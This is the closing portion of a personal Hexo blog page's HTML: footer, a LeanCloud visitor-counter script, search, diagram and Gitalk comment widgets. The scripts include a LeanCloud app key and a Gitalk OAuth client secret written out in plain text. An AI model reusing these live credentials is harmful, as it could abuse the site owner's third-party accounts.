        <a href="mailto:anemone95@qq.com" title="E-Mail &rarr; mailto:anemone95@qq.com" rel="noopener" target="_blank"><i class="fa fa-fw fa-envelope"></i>E-Mail</a>
      </span>
    
  </div>
  <div class="cc-license motion-element" itemprop="license">
    
  
    <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" class="cc-opacity" rel="noopener" target="_blank"><img src="/images/cc-by-nc-sa.svg" alt="Creative Commons"></a>
  </div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">anemone</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io" class="theme-link" rel="noopener" target="_blank">Hexo</a> 强力驱动 v3.9.0</div>
  <span class="post-meta-divider">|</span>
  <div class="theme-info">主题 – <a href="https://theme-next.org" class="theme-link" rel="noopener" target="_blank">NexT.Pisces</a> v7.4.0</div>

        






  
  <script>
  function leancloudSelector(url) {
    return document.getElementById(url).querySelector('.leancloud-visitors-count');
  }
  if (CONFIG.page.isPost) {
    function addCount(Counter) {
      var visitors = document.querySelector('.leancloud_visitors');
      var url = visitors.getAttribute('id').trim();
      var title = visitors.getAttribute('data-flag-title').trim();

      Counter('get', `/classes/Counter?where=${JSON.stringify({ url })}`)
        .then(response => response.json())
        .then(({ results }) => {
          if (results.length > 0) {
            var counter = results[0];
            Counter('put', '/classes/Counter/' + counter.objectId, { time: { '__op': 'Increment', 'amount': 1 } })
              .then(response => response.json())
              .then(() => {
                leancloudSelector(url).innerText = counter.time + 1;
              })
            
              .catch(error => {
                console.log('Failed to save visitor count', error);
              })
          } else {
              Counter('post', '/classes/Counter', { title: title, url: url, time: 1 })
                .then(response => response.json())
                .then(() => {
                  leancloudSelector(url).innerText = 1;
                })
                .catch(error => {
                  console.log('Failed to create', error);
                });
            
          }
        })
        .catch(error => {
          console.log('LeanCloud Counter Error', error);
        });
    }
  } else {
    function showTime(Counter) {
      var visitors = document.querySelectorAll('.leancloud_visitors');
      var entries = [...visitors].map(element => {
        return element.getAttribute('id').trim();
      });

      Counter('get', `/classes/Counter?where=${JSON.stringify({ url: { '$in': entries } })}`)
        .then(response => response.json())
        .then(({ results }) => {
          if (results.length === 0) {
            document.querySelectorAll('.leancloud_visitors .leancloud-visitors-count').forEach(element => {
              element.innerText = 0;
            });
            return;
          }
          for (var i = 0; i < results.length; i++) {
            var item = results[i];
            var url = item.url;
            var time = item.time;
            leancloudSelector(url).innerText = time;
          }
          for (var i = 0; i < entries.length; i++) {
            var url = entries[i];
            var element = leancloudSelector(url);
            if (element.innerText == '') {
              element.innerText = 0;
            }
          }
        })
        .catch(error => {
          console.log('LeanCloud Counter Error', error);
        });
    }
  }

  fetch('https://app-router.leancloud.cn/2/route?appId=o5UaCJdPfEG0g7MVxXSMagpT-gzGzoHsz')
    .then(response => response.json())
    .then(({ api_server }) => {
      var Counter = (method, url, data) => {
        return fetch(`https://${api_server}/1.1${url}`, {
          method: method,
          headers: {
            'X-LC-Id': 'o5UaCJdPfEG0g7MVxXSMagpT-gzGzoHsz',
            'X-LC-Key': 'c6IN1PuMV3QPltJcrHfn74Gt',
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(data)
        });
      };
      if (CONFIG.page.isPost) {
        const localhost = /http:\/\/(localhost|127.0.0.1|0.0.0.0)/;
        if (localhost.test(document.URL)) return;
        addCount(Counter);
      } else if (document.querySelectorAll('.post-title-link').length >= 1) {
        showTime(Counter);
      }
    });
  </script>






        
      </div>
    </footer>
  </div>

  
  <script src="//cdn.jsdelivr.net/npm/animejs@3.1.0/lib/anime.min.js"></script>
  <script src="https://cdn.bootcss.com/velocity/1.2.1/velocity.min.js"></script>
  <script src="https://cdn.bootcss.com/velocity/1.2.1/velocity.ui.js"></script>
<script src="/js/utils.js?v=7.4.0"></script><script src="/js/motion.js?v=7.4.0"></script>
<script src="/js/schemes/pisces.js?v=7.4.0"></script>
<script src="/js/next-boot.js?v=7.4.0"></script>



  
  <script>
    (function(){
      var bp = document.createElement('script');
      var curProtocol = window.location.protocol.split(':')[0];
      bp.src = (curProtocol === 'https') ? 'https://zz.bdstatic.com/linksubmit/push.js' : 'http://push.zhanzhang.baidu.com/push.js';
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(bp, s);
    })();
  </script>








  
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/instantsearch.js@2.10.4/dist/instantsearch.min.css">
<script src="//cdn.jsdelivr.net/npm/instantsearch.js@2.10.4/dist/instantsearch.min.js"></script><script src="/js/algolia-search.js?v=7.4.0"></script>











<script>
if (document.querySelectorAll('pre.mermaid').length) {
  NexT.utils.getScript('//cdn.bootcss.com/mermaid/8.2.6/mermaid.min.js', () => {
    mermaid.initialize({
      theme: 'forest',
      logLevel: 3,
      flowchart: { curve: 'linear' },
      gantt: { axisFormat: '%m/%d/%Y' },
      sequence: { actorMargin: 50 }
    });
  }, window.mermaid);
}
</script>




  

  

  

  

<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.css">

<script>
  NexT.utils.getScript('//cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js', () => {
    var gitalk = new Gitalk({
      clientID: 'f3075553d7b0225df6ca',
      clientSecret: '68362ba87c4cc8e13103afcf729f5bd8ea176a78',
      repo: 'anemone95.github.io',
      owner: 'Anemone95',
      admin: ['Anemone95'],
      id: '0f9dacdd9a4acada842696590c3b11e7',
        language: window.navigator.language || window.navigator.userLanguage,
      
      distractionFreeMode: 'true'
    });
    gitalk.render('gitalk-container');
  }, window.Gitalk);
</script>

</body>
</html>
